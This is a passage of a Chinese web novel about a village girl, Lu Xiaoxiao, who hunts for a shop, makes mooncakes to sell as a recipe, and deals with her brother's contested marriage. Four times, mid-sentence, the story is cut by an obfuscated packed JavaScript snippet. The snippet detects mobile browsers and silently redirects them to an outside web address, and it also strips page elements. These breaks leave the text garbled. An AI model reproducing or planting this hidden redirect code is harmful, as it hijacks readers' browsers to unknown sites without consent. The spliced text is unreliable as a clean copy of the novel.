“这要看客官想开在什么地方了，若是开在正街，铺子一般是三开间的，每月约需六贯钱，副街多是单开间的铺子，每月约一贯半钱，当然这正副街中也有差异，细分街心、街口、街尾。若是开在巷子，差异可就大了，挨着正街的巷口比副街还贵，偏一些的巷子尾，五百钱也是有的。”牙郎道。 接着又道，“小娘子想要什么样的铺子，打算花多少钱，可先与我说一说，我回头给找几间，带你们去看看。” 卢晓晓又问，“这租金是怎么个给法，佣金又要多少？” 小牙郎回说，“租金一般是给一年的，若是能一次性付三年的，可便宜些，租房的押金按百分之五收。” 卢晓晓见着小牙郎说得头头是道，便把需求与他说了说，想寻一间有独立灶房的，地段好一些的铺子，每月的租金约一贯半钱，最高不超过两贯钱。 小牙郎又问找到铺子后怎么找他们，卢晓晓便说，他们每日上午在秀心街摆摊子，看到写着卢记肉夹馍布幌子的就是了。 双方又在牙行里做了登记，衙门对牙人行业管理严格，卢晓晓他们倒也不担心这小牙郎做出那欺瞒之事。 回了家中，天色竟阴沉了起来，秋天的第一场雨要来了。 即是要下雨，吃食便不能备多了，得防着明日下雨出不了摊。 卢晓晓便寻出了夏日里从山里摘的香菇，打算做味精，她与卢大贵说的鲜粉末便是味精。 用水将香菇表面的灰尘杂质略微清洗，切成薄片，放在锅中，用小火煸干，煸到用手可以掰断，又将晒干的紫菜掰碎，和虾皮一起放锅里小火干焙，焙到用手一捻就成细末。 将烘好的香菇放入木臼中，用木杵捣碎，再加入焙好的紫菜、虾皮，直到捣成粉末，粉末越细越好。 卢晓晓捣得手酸，若是能有个石磨就好了，要买的东西可真多啊，她心想。 到了傍晚，果然下起了雨，雨不大，淅淅沥沥的，倒是也会叫人湿透了衣裳。 卢大贵和卢二郎从地里淋着雨跑了回来，卢二娘子赶紧让两人换了衣裳，秋雨寒冷，卢晓晓煮了一锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13829472|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜茶，叫父子俩各喝了一大碗，又给卢三郎留了一碗。 卢三郎回家的时候，果然也被打湿了衣裳，卢晓晓把姜茶热了热，让他喝了祛寒。 吃过晚食，望着外边阴沉沉的天，淅沥沥的雨，卢晓晓担心明日出不了摊了。 第二天醒来，天还是阴沉沉的，雨还在下，卢家兄妹没有出摊。 吃过早食，卢大贵在屋檐下修着农具，卢二郎一边帮忙一边望雨兴叹，要是有间铺子就好了。 卢二娘子拿着针线在堂屋里做绣活，卢晓晓从厨房取出卢大娘子送来的莲蓬，准备剥莲子。 莲子可是好东西，有补脾止泻、固肾涩精、养心安神的功效。莲子的用途也很多，可以做菜、做粥、做汤、做小食。 卢晓晓拿起一个翠绿色碗口大的莲蓬，用手一掰，青翠的莲子便掉落到土黄色的竹编簸箕里，圆滚滚的，分外喜人。 不一会儿，就剥了半簸箕的莲子。莲蓬好剥，麻烦的是处理莲子。生莲子要在新鲜的时候剥皮去芯，再晾晒脱水，才能存放得更久。 用手指捏着莲子，用力一捏，青色的外壳就会裂开一道缝，沿着这缝把外壳剥掉，撕掉内层白色的包衣，莲子芯味苦，需取出来，才算把莲子弄好。 要保持外形完整，就要用小签子把莲子芯取出来，卢晓晓剥来自家用的，便没那么讲究，将莲子捏开，用手取出莲芯就可以了。 到了中午，天终于放晴了，卢二娘子便与卢晓晓外出送肉，这做好的吃食没能拿去卖，再放到第二日虽说还能吃，可也不能拿去卖了，还不如今日拿去做人情。 先是去了至亲的卢二伯家，送了好些红烧肉和熏鱼，卢爷爷已无碍，见卢晓晓过来欢喜得很，就是秀珠，气色也恢复了，许是没有了娘家的叨扰，人看着也轻快了许多。 顺路给赵云霞送了一碗，赵云霞直推说不要，看到柱子眼巴巴的眼神，才接了过来，不住地说感谢卢家母女。 又是去了里正家，上回秀珠家的事多靠了他们出人出力，虽说是卢大娘子托付的，可一笔写不出两个卢字，且卢三郎如今也跟着杜子柏上学下学。 最后还给张大娘送了一碗，张大娘爽快地收下了。之前卢家被人说闲话，多亏了她帮忙，而且平日在村口的闲聊中没少帮卢家说话。 又过了一日，卢记肉夹馍能出摊了，好些客人说他们昨日没来，想得很，真该弄个铺子。 因着担心还要下雨，便没有准备太多的吃食，不到巳时一刻，摊子上的吃食便卖光了。 卢家兄妹两便将摊子收了收，让春芬守着，往牙行去了。 昨日没来镇上，也不知道张小牙郎有没有寻摸到合适的铺子。 两人去的时候，张小牙郎正好在牙行里，远远见到兄妹两过来便迎了出来，领着人就往外走。 “快快快，我等你们一天了，寻了三处铺子，都满足小娘子的要求，有一处可是寻我师父宋大牙郎问来的，这晚了指不定就没了！” 26. 宅子 卢家兄妹听了赶忙跟着张小牙郎走。 “第一处在明前街上，沿着河，单开间的铺子可是稀缺货。第二处就在秀心街上，你们在那摆摊也知道，那街上的人流，别处可没法比！第三处在一个巷子里，两开间的铺子，宽敞明亮得很。” 小牙郎先领着兄妹两到了明前街，这明前街在河岸边，是城关镇的正街，街上酒楼茶肆林立，商铺鳞次栉比，街上车水马龙。要出租的铺子在脂粉铺和成衣铺之间，附近还有银楼、书肆、绸缎庄。 “这间原是个茶坊，后头有个煮茶水做点心的小间可以做灶房，楼上还有一层。” 卢晓晓看了看，此间宽一丈有余，空间不大，但有两层，上层隔成了三小间，应是做的包房用，只楼梯有些窄小。 “我跟你们说，这茶坊的生意可好了，好些太太小姐都是这的常客，在这经营了好几年，如今搬去了大铺子，这才空了出来。”张小牙郎又介绍道。 “这儿租金多少？”卢晓晓问道，这儿不适合卖热食，但适合开间甜品铺子。 “若是一次付上三年的租金，每月只需两贯的租金，若是只付一年的租金，每月就得两贯半钱。” 每月两贯钱，三年就是七十二贯，这在镇上可是很大一笔钱了。 “小牙郎，再带我们去另外两间铺子看看吧。”卢晓晓道。 三人又到了秀心街，这家是一对老夫妻经营的脚店，在秀心街的街心，连着好几间的吃食铺子。铺子还在营业，只是未到中午，客人寥寥。 “这是店家自己的铺子，平日饭点的时候客人不少呢！靠着这店夫妻俩在乡下置办下不少田地，如今两人年纪大了，便打算把这店盘出去，每月一贯半钱，只需付一年的。” 不得不说，张小牙郎是费了心的，挑的都是原先生意不错的铺子。 卢晓晓看了看，这铺面够宽敞，比第一处铺子大不少，街上人流量大，虽说连着几家吃食铺子会分流，但她相信凭着自己的手艺，问题不大。 “这灶房在哪？” “我正要与你们说，这铺子是前店后宅的布局，原先老夫妻是用的自家灶房，你若是租这儿，可以让你在宅子中间的天井搭个灶。” “这搭灶要不少的钱呢！这还不如第一处。”卢二郎忍不住道。 “小牙郎，再带我们去第三处看看吧！” 兄妹俩经过摊子，跟卢春芬打了招呼，才与张小牙郎一道去了第三处铺子。 这铺子开在一条巷子里，人流比前两处少多了，胜在附近的吃食铺子少，所以生意不错，可如此一来，客人的来源就受限了。 “小牙郎，今日谢谢你了，这几间铺子各有各的好，也各有各的赖。这第一处人流大，可只适合做茶点铺子，还要一次付三年的租金。第二处人流好，价格也合适，可得自己花钱搭灶，且这灶房在天井中，多有不便。第三处倒是又宽敞又便宜，可客源面小。可能再寻摸寻摸？” “小娘子，这有灶房的铺子不多，有灶房且地段又不错的铺子就更少了，怕是没这么快能找到。”张小牙郎道。 “可有像第二处一样，前店后宅整租，不超过三贯钱的？” “你这么说，倒是有一处前店后宅的宅子，地段好，就在连着明前街的巷子口，可是只卖不租。” “小牙郎，可能带我们去看看？”卢晓晓道，多看看总是不吃亏的。 “行，我带你俩去瞧瞧，不是我夸，这宅子是真真的好，价格也实惠，只要一百五十两，宅主想要去府城投靠儿子儿媳，才这样急着出手。这宅子还有个大好处，别人都不知道！”张小郎君得意道。 也没说是什么样的好处，问他只说到了便知道了，卖了好大一个关子。 说话间，带着卢家兄妹穿街走巷地到了一处宅子前，此处果然地段好，就在巷子的第二间，往外走几步就到了明前街。 这是个三开间的宅子，坐北朝南，宅门在右侧，倒座房改成了对外开的铺子，如今正紧闭门窗。 张小牙郎上前扣了扣宅门，一老汉出来开了门，见是他，道，“小牙郎，可是有想买宅子的人了？” “是，大爷，我带他们来看一看。大娘在家吗？” “我家大儿媳妇生了个大胖孙儿，老婆子到府城去看孙了，我今日才回来，正想着找你去呢！哟，这小郎君和小娘子，年龄这样小，拿得了主意么？” “大爷，我俩在秀心街摆摊子，收了摊过来的，我俩先看看，看合适了再跟家里人说。”卢晓晓道。 大爷细看了看，道，“你不就是那个卖肉夹馍的小娘子，你家卖的吃食我都吃过呢！你们看看吧。” 宅子是个一进宅院，典型的四合院布局。宅门位于宅子的东南角，中间是庭院，庭院对着的是正房，正房有三间，两侧各是半间耳房，东西厢房各两间，倒座房一半做了灶房，一半做了铺子。 院子里有颗柿子树，令人惊喜的是树下还有一口井，打了桶水上来，只见水质清冽。 卢晓晓看完喜欢极了，这宅子与家中布局相似，全家都能住下。如今卢大郎在镇上当伙计，卢三郎在镇上读书，她与卢二郎在镇上买吃食，搬到镇上就方便多了。 “大爷，这宅子可考虑租出去？”卢晓晓问道。 “不租不租，老爷子我就等着卖了这宅子，拿着银子到府城去呢！”大爷道。 “那价格可能再便宜些？”这个地段这样大小的宅子，一百五十两价格不高也不低，但是带了口井就顶顶划算了，可卢晓晓还是想试着讲讲价。 “小娘子可是要自家住？”相较于将宅子卖来卖去的商人，大爷更希望卖给一户住家的本分人，这毕竟是他一砖一瓦攒下来，住了大半辈子的宅子。 “大爷，我家在杜家村，如今兄妹几人都在镇上读书干活，便想住到这镇上来。”卢晓晓道。 见这小娘子真心想买，大爷便道，“你若是三日内就能拿银子来，那能便宜五两银子。不过这几日，你得给我送吃食，得要那红烧肉。” 大爷最喜欢吃卢记摊子的红烧肉了，别人都做不出那味儿。 “大爷，红烧肉不能多吃，我给您做些别的吃食送来，保管好吃！” 又看了看，聊了聊，花了小半时辰，三人辞了大爷出来，便在明前街散了。 “晓晓，咱们哪来这么多的钱？”等张小郎君走了，卢二郎问道。 “回去想想办法，这宅子太好了，以后吃水都不用上外头挑了。”没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13854656|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自来水对卢晓晓这个现代人来说，可是最大的痛，如今若是能有口井，也是聊胜于无了。张小牙郎说的没错，这可是天大的好处。 卢晓晓心中算了算，加上卖金玉糕方子的银两，她有三十二两，若是买宅子，卢大贵夫妇也能凑上十几俩，也就是说至少还得找一百两。 怕是只能去卖菜谱了，存了这心思，卢晓晓便观察起这街上的酒楼店铺来，行至一酒楼前，道，“二哥，你等一等，我去看看能不能把菜谱卖出去。” 卢晓晓便往酒楼里走，门口的店小二见卢晓晓衣着寒酸，年岁尚小，也不像送外卖的样子，拦住她，道，“小娘子，可是要来吃饭？这大堂的茶水费一人二十文钱。” “小哥，我寻掌柜的。”卢晓晓道。 “掌柜的，这位小娘子寻您。”店小二对里头说到。 “什么小娘子？叫她进来吧！”掌柜的正在柜台前。 “掌柜的，我在秀心街卖肉夹馍，有两道好菜谱，想卖与店里。”卢晓晓见掌柜事多，赶紧道明来意。 “小娘子快别说笑了，我们大厨是在府城学的艺，哪需要买你的菜谱？小二，把小娘子送出去！”掌柜使人把卢晓晓送了出去，只当她是为了蹭口吃的，胡说八道。 之后又寻了几家，这第一家已是最客气的，余下的几家不是把卢晓晓当做要饭的打发了出去，就是连掌柜的面都没见着。 自古以来，这有势之人寻无势之人成事易，无势之人寻有势之人成事难。 “晓晓，怎么办？”卢二郎想不到卖个菜谱这样难。 卢晓晓看了看天色，已是正午，道，“我们先回去，此时正是饭点，春芬姐也该等急了，等明日上午店里没这么多人的时候，我再来问问。” 话虽这么说，可卢晓晓觉得希望不大，客好的店不稀罕，客少的店出不起价。 三人回了村，卢二娘子见他们这样晚到家，问铺子看得如何，卢晓晓把今日的事说了说。 若是能回到幼时住的镇上，卢二娘子自是高兴的，可这一百多两的银子，对农家来说无疑是天价。 等卢大贵回来，吃晚食时，又说了一遍。卢大贵倒是更想住在村里，离着卢爷爷和卢二伯一家人近些，只是妻儿都想住到镇上，他也不好说什么。 卢二娘子嘱咐道，“如今入秋了，早晚天冷了，二郎、晓晓，你们出门早，多穿些。” 有道是白露秋分夜，一夜凉一夜。进入白露，早晚添了一份秋天的凉意。 “如今卯时出门，天都未亮，若是咱住到了镇上，时间便宽裕许多，三郎读书也方便，大哥还能回家住。”卢二郎道。 “公中能添十两银子，若是没能买下这宅子，就租个带宅子的铺子吧，大郎也该说亲了。”卢大贵拍板道，大儿子总住在店里也不好。 这事就这么定了下来。 卢二娘子又说起了别的事，“嫂子说，等忙完秋收，就置两桌席，叫上咱、她大哥、二哥家一块聚聚，想叫晓晓去帮忙，日子就定在了中秋第二日。” “那自是好，秀珠娘那边，要不是他们帮忙，咱家的名声都受影响，到那日，你也去帮忙，亲戚多走动才好。”卢大贵道。 中秋？卢晓晓有了主意。 27. 月饼 “小饼如嚼月，中有酥与饴”，中秋吃月饼的习俗始于唐朝，到宋朝月饼已成了中秋的必备节礼。 “我知道怎么赚这一百两的银子了！”卢晓晓道。 “怎么赚？”卢大贵好奇地问道。 “打算做样中秋卖的糕点，也不一定能做成，试着做来看看。”卢晓晓答道。 “做出来后，可是要卖给知味斋？”卢二娘子问道。 “对，这知味斋买过金玉糕的方子，卖给他们应是容易些。”卢晓晓道。 接着又说，“二哥，明日我就不去出摊了，辛苦你跟春芬姐了。” “我俩去就行了，你踏实在家做糕点吧！”这可关系着他们家能不能搬到镇上住呢！ 吃过晚食，卢晓晓寻出前日剥好的莲子浸泡到水中，她要做的是有名的广式莲蓉月饼。 莲子是刚采不久的新鲜莲子，无需泡太久，泡上半个时辰即可，若是干莲子，则要多泡些时间。 趁泡莲子的功夫，卢晓晓从灶膛里扒出细碎的草木灰，然后将草木灰倒入锅中，加入清水，大火煮沸，沸腾上一刻钟，然后熄火静置。 草木灰是为了制备枧水，枧水是制作广式月饼不可或缺的辅料。 然后将泡软的莲子放入锅中蒸煮上半个时辰，等时间差不多，卢晓晓用筷子夹出颗莲子，用手捏了捏，莲子一捏就碎，质地细腻绵密，这便是蒸好了。 拿出木臼和木杵，把蒸好的莲子捣成细泥状，卢晓晓足捣了小半个时辰才弄好，只觉得手酸得不行，好在做得量不多。 然后将捣碎的莲子泥倒入锅中，烧中火焙干其中的水分，焙至莲子泥变得浓稠，改为小火，加入麦芽糖和菜籽油继续翻炒，直至锅中的莲子泥成团，不沾锅铲，也不沾手，广式莲蓉月饼的馅儿就做好了。 静置了一个多时辰的草木灰水已初步分层，取出上层清液放入碗中，下层浊液弃置。 做完这些，已近子时，卢晓晓略微洗漱便歇下了，只等明日枧水做好后，制作饼皮。 到了第二日，卢晓晓按往日的时辰起床了，帮卢二郎一道收拾好出摊的东西，送出门，就继续做月饼了。 放置一夜的草木灰水，上层果然更清澈了，将上层清液取出，又用布过滤，得到一碗棕黄色的枧水。又寻出二伯和堂哥们从山里得来的蜂蜜。 有了枧水和蜂蜜，就能做月饼的饼皮了。将面粉过筛，加水搅拌，搅拌至无干粉状态时加入枧水，用手揉搓，再分次加入少量的油，每次都揉搓至油吸收后再加入新油，最后加入蜂蜜，直至揉搓成光滑的面团。 将揉搓好的面团放置一旁，醒上一个时辰。又从坛中取出四只咸鸭蛋，咸蛋黄取出备用，咸蛋白做菜。 趁着醒面的时间，卢晓晓做好了早食，早食是简单的小米粥配葱花饼，外加一碟子咸蛋白。 吃过早食，卢晓晓去里正家借了过年时压制糕饼的模具。一切准备好后，就要做月饼了。 将莲蓉馅料搓成一个个等大的小球，揉出四个只有一半馅料的小球，压成圆饼，将准备好的咸蛋黄包入。 醒好的面团搓成长条，分成小面团，将小面团搓圆，压成中间后四边薄的圆饼状，包入准备好的馅料，小心收口，将收口的一面放在下方，用模具压出饼状，表面再刷上一层薄薄的蛋黄液。 家中没有烤炉，上锅蒸上半个时辰，蒸出来的月饼小小的一个，金黄金黄的，看起来诱人极了。 把卢大贵从地里叫了回来，三人试了试味道，新做的月饼皮薄松软，莲蓉馅清香可口，细腻润滑，蛋黄莲蓉馅，甜咸交织，醇厚的口感和独特的风味，丰富了馅料的层次，令人回味无穷。 “成了！晓晓，这月饼拿出去定会大卖！这月饼做得这样好，可还要卖给知味斋，不若我们自己卖，宅子先租着？”卢大贵道。 卢二娘子也看向卢晓晓，这样好的点心方子可以传家了！ 卢晓晓却觉得还有很多不足，蒸出来的月饼少了一分酥香，莲蓉不够细腻，咸蛋黄略咸略干。 “爹、娘，这月饼一般是大户人家买的多，寻常人家不过买上一两块应应节日，这要叫我们自己卖，恐怕难卖出去。而且既是节礼，那便要包装，这花销我们更是耗费不起。”卢晓晓解释道。 “那宜早不宜迟，你这就捡几块月饼到镇上去，让你爹跟着一块去吧。”卢二娘子道。 卢晓晓找出一食盒，捡了四块月饼，每个味道两块月饼，便与卢大贵一道去了镇上。 知味斋就在明前街上，卢晓晓顺路给卢大贵指了指昨日看的宅子，宽敞的青砖石瓦宅子，卢大贵一下子动了心。 到了知味斋，因着金玉糕卖得火热，店里人群攒动，店里的人忙得不亦乐乎，卢晓晓好不容易才跟柜台边的店小二搭上话。 “这位小哥，请问元管事可在店里？”卢晓晓问道。 “元管事回县里了，找他什么事？” “那他何时回来？店里可有别的管事？”卢晓晓问道。 “元管事平日都在县里，管事今日都不在，去乡下收原料了，有事你跟我说，回头我给报上去。”店小二说道。 “那劳烦小哥了，烦您给说下，就说做金玉糕的小娘子有事想见见管事的。”在见到能主事的人之前，卖月饼方子是不能说出来的。 卢晓晓与卢大贵从知味斋出来，一时犯了愁，不知该继续等管事回来，还是去其他店家问问，有心想继续跟知味斋合作，但又怕耽误了买宅子，可要是去问别家，又怕没合作成，泄露了消息，毕竟这新品最怕叫其他店家知道了。 “小娘子！小娘子！我说你们怎么走得这样快！”刚才的店小二气喘吁吁的跑了过来。 “小哥，可是店里有管事回来了？”卢晓晓惊喜道。 “我们少东家正好在店里，叫你们过去呢！”原是有机灵的店小二听到了刚才的对话，又正好听过元管事夸过金玉糕的小娘子，便机灵地报给了正在店里盘账的少东家。 少东家一听，果然就让人快快找他们回来。 卢晓晓父女俩赶紧跟着小二走，到了店里，店小二将两人引进了铺子的后堂坐下，又给上了茶，上了点心，才退下。 不一会儿，一个二十多岁衣着富贵的青年大步走了进来，身后跟着一小厮。 “小娘子找掌柜何事？我是知味斋的少东家，不如和我说说。”来的这人正是元家大少爷，元三郎的大哥，元振业。 卢晓晓和卢大贵起身见了礼。 “小女做了款中秋的糕点，想与知味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13871387|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斋做笔生意。”卢晓晓开门见山道。 元大少爷看了看卢晓晓，见她沉稳地坐在椅子上，并未着急将篮子中的糕点拿出来，不由在心中暗叹，元叔说得没错，这小女子果然不凡。 吩咐小厮将点心大师傅叫过来，接着问道，“小娘子这糕点可有拿去别家？” “知味斋是第一家，金玉糕卖得这样好，我自是想再跟知味斋再合作的。”卢晓晓这话说的好，既提到了先前顺利的合作，也暗示了若今日合作不成，她便会找另一家点心铺子，也就是知味斋的对手。 “小娘子的手艺好，心思巧，我也很期待再次跟小娘子合作，再创这金玉糕的盛况。”元大少爷道。 两人相互试探间，大师傅到了。 “大少爷，找我来何事？” “何叔，这位小娘子做了道糕点，让你来试试味道。”元大少爷说道。 又对卢晓晓说道，“小娘子，何师傅和小厮都是我们元家的人，可以将糕点拿出来了。” 卢晓晓从篮子里拿出吃食盒子，打开盒子，四个外皮金黄，色泽均匀，花纹清晰的圆饼躺在盒子里。光这卖相，就叫人觉得有食欲。 “这做的是月饼？”元大少爷问道。 “是，这是两种不同的馅料，少东家不妨使人切开看看。” 小厮很快将刀拿了过来，将月饼对切成四份，只见切面平整，馅不沾刀，内里馅料橙黄透亮，细腻清香，咸蛋黄轮廓分明。 “这里头的可是蛋黄？”何师傅忍不住问道。 “何师傅可尝一尝。” 何师傅迫不及待地拿起一块蛋黄莲蓉馅的月饼，尝了口，这里头放的竟是咸蛋黄，与细腻清香的甜馅合在一起，甜咸交融，竟是奇异的搭配。 又尝了口纯莲蓉馅的，细品了品饼皮，松软喷香，聚而不散，又将少许馅料顶在舌尖化开，细腻绵密、回味清香，别有一番滋味。 “小娘子妙思，竟想到以这咸蛋黄做馅，不知道这甜馅料是用何做的？如此的绵密清香。” “何师傅，您这些问题就要看我能不能和知味斋合作成功了。”卢晓晓笑道。 “两位请在此处喝些茶水，吃些点心，我去去便来。”元大少爷说罢，便与何师傅出了后堂。 卢大贵见人出去了，松了口气，小声问道，“晓晓，我看何师傅很是满意，咱这方子能卖出去吧？” “应是会买。”不是卢晓晓吹，这广式莲蓉月饼在现代可是闻名于世，经久不衰，谁能看不上？ 堂屋外，元大少爷正在跟何师傅低声商讨，这何师傅可不是一般的点心师傅。何师傅的爹是跟着元老爷子一起白手起家的，何师傅得了他的真传，继续当了这知味斋的点心大师傅。 “何叔，这月饼的原料可能吃出来？”元大少爷有此一问，并不是要盗卢晓晓的食谱，只是他也要评估这月饼被人仿去的难易。 “饼皮应是加了油和蜂蜜，刷了蛋液，但不知道为何如此松软，甜馅料很是清香，不知是用何做的。这月饼要是今次中秋推出去，定会大卖。”何师傅很是看好。 “那我知道了，何叔，您先去忙吧！” 元大少爷回到后堂，喝了口茶，不疾不徐地开口问道，“不知小娘子，要如何合作？” 29. 羊蝎子 “卢二娘子，快去村口看看，你家老大把赵大妞的侄女带回来了！张嫂子在拦着，让我赶紧过来叫你。” “怎么回事?”卢二娘子忙不迭地跟着往村口跑。 卢大贵和卢二郎去了地里，卢晓晓擦了擦手，锁上门，也跟了上去。 听这过来唤人的婶子说，今儿卢大郎回村，身上背着一姑娘，两人都湿了衣裳，被村口的大娘大婶们瞧见了。 卢大郎说是这姑娘失足落水，叫他给救了，但是人昏了过去，镇上城门也关了，只得先带回家。 可就这么两句话的功夫，离着村道三丈远的赵大妞竟是看出了卢大郎背上的是她娘家侄女赵杏花，嚷嚷了起来。 一会说赵家村离河远，侄女定是与卢大郎会面才失足落水，一会又说侄女的清白没了，卢大郎必须负责，总之就是要卢大郎娶了赵杏花。 卢大郎哪里跟这样不讲理的人吵过嘴，真是有理都说不清。 这赵大妞往日都在家干活，很少到村口说闲话，今日这样巧，谁人瞧不出端倪，可这世间最不缺冷眼旁观之人。 好在这村口的人中有张大娘，张大娘谁人呐，常年东家长西家短的，岂能叫卢大郎吃了亏。 当即就点破了赵大妞的心思，又说出赵家使张媒婆说亲不成，又到处造谣说卢家人坏话的事儿。 只有一边说“理”的时候，旁人往往都是袖手旁观，可两边都说“理”的时候，这旁观的人就好主持公道了。 卢二娘子到的时候，赵大妞已是被张大娘驳得说不出话来，张大娘正吆喝着人把赵杏花往赵大妞家送。 之前不知道是哪家姑娘，不得已才要往家带，这既然知道了，那肯定就得送人自个家了。 赵大妞拦着不让，争执中，赵杏花醒了过来，赵大妞赶紧道，“杏花，你今日可是来寻卢怀安的?” 寻谁?赵杏花迷糊中见周边围了好些人，秋日的傍晚气温降的快，冷得她直发抖，彻底醒了过来。她开不了口诬陷卢大郎，但是更开不了口放弃这到手的机会。 “娘，太冷了，我们带她回家吧。”卢大郎突然开口道。 “大郎，你可想好了?”卢二娘子问道。 “想好了。”卢大郎答道。许是赵杏花被救起时那如获新生的笑，又许是如今紧紧拽着他衣袖的手打动了他。 “婶子，今日谢谢您了。”卢大郎又特地谢过张大娘，才背着赵杏花往家去了。 “你们看，我就说这卢怀安跟我家杏花肯定是有往来的。”赵大妞得意道。 “我呸，就没见你这么当姑的，侄女湿着衣服都不让人回家，这要不是卢家人心善，你侄女非得冻病不可。”张大娘不忘啐赵大妞一脸。 赵杏花跟着卢家人回了家。卢晓晓赶紧去看灶上炖的羊脊骨，卢二娘子打发卢大郎去盥洗，又给赵杏花寻了套自己的衣服，让她去沐浴。 赵杏花见无外人，直接跪了下来，道，“求婶子救救我，我若不能嫁进卢家，就要被爹娘卖给行商做外室了。” “你先去洗洗，把湿衣服换了再说。”卢二娘子把她拉了起来。 待她进去洗澡，卢二娘子和卢晓晓小心的把卢晓晓屋子里的钱财搬到了夫妇两的屋子里，又落上锁。 卢大郎洗得快，没多久就出来了，卢家父子也都回来了，堂屋里卢二伯一家也过来了。 “娘，她今日那落水处是又湍又急，怕是真的存了死心，今日就算是使了计，那也是走投无路的求生之计，我想帮帮她。”卢大郎解释道。他今日开口将赵杏花带回来，给家人添了不少麻烦。 “先吃饭，吃了饭再说。”卢二娘子决心冷一冷卢大郎。 卢晓晓回了灶房，用酱、盐、味精、玉米粉调了碗料汁，重新起灶热锅，加入油，再加入腌制好的羊肉片大火翻炒，待肉片变色，倒入断生的大葱，加入料汁，快速翻炒均匀后起锅。 刚出锅的葱爆羊肉以葱香肉嫩为佳，可经这么一闹，羊肉腌过了，葱白疲软了，口感差了许多。 卢晓晓给安置在她屋里的赵杏花单独盛了饭菜，两家人才开始吃饭。 今日本应是两家一道庆祝的大好日子，被赵杏花闹得，气氛都差了几分，卢大贵夫妇只简单说了说往后想把田地租出去的打算。 好在卢晓晓做的羊骨羊肉又香又好吃，让人不觉中忘却了烦恼。 “晓晓，这羊脊骨做的真好吃，这羊髓比肉都香，这菜叫什么？”说起吃的，卢二郎就来了精神。 “羊蝎子。”卢晓晓脱口而出。 “有些人的心肠呀，就是坏得跟蝎子一样，算计人是一计不成又生一计，偏偏还有人就中了计。”卢二郎对赵杏花不满极了。 “二弟，我总不能见死不救。”卢大郎道。 “那你也不该把她带回家！” “若是她非要赖上我，我便在镇上赁间屋子，不叫她有机会霍霍咱家。” “那你是有了媳妇就不管家里了？” 卢家两兄弟吵了起来。 “快别吵吵了，赵家的意思也不一定是赵杏花的意思，她也是个可怜的，咱再好好看看她的人品。”卢二娘子劝道。 “若是个好的，怀安娶了就娶了，若是不好，怀安便自己受着，一个小姑娘还能翻了天不成。”卢大贵道。 “这羊脊骨长得像蝎子，才叫羊蝎子的，没有别的意思。”卢晓晓只得弱弱地解释。 吃过饭，卢二伯一家便告辞了。 卢晓晓去里屋收拾碗筷，赵杏花正在里头坐立不安，又不敢乱走，见有人进来，赶紧问道，“你是晓晓吧，你爹娘和大哥现下可有空？” “他们在堂屋，叫你出去呐。” 赵杏花忐忑不安的到了堂屋，是妻是妾，她往后的命运就看今晚了。 隔壁张大娘家。 “娘，今日是什么好日子，这样多的菜?”小儿子问道。 “没什么，卢家给送来的。”张大娘不愿多说。 “听说卢怀安那小子把赵杏花带家去了。”大儿子问道。 “什么带回去的，那都是赵家的鬼伎俩， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13949326|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就等着卢怀安这愣小子路过，就往河里一跳，用清白赖上人家。” “她图什么呀，这么好看一姑娘。” “图什么？卢家大小子人又高，长得又端正，能写会算，在镇上还有份活计。卢家生意如今又红火，眼瞅着日子越来越好了。好看有什么用，要是嫁到穷家，没两年就成了黄脸婆。”张大娘越说越气，她本想着将自己娘家侄女说给卢大郎，如今叫人抢了先。 卢晓晓收拾好灶房，堂屋里也有了定论，只等着再听听兄妹几人的意见。 “晓晓、二郎、三郎，你哥决定了要娶赵家姑娘，我跟你爹也同意了，你们三是何意见？” “这赵家摆明想占咱家便宜，大哥怎么还要娶这样的人？”卢二郎直言道。 “赵杏花说了那是她爹娘的想法，她不会这样做的，若是她干出了对不起咱家的事，就领了休书回去。”就是这承诺叫卢大贵夫妇俩同意了这门亲事。 “我听晓晓的。”卢二郎又道。 “我也听姐姐的。”卢三郎赶紧道。 “晓晓，你们若是不放心，我就和她搬出去住，寻个离家近些的屋子，也不耽误回家帮忙。”卢大郎又说。 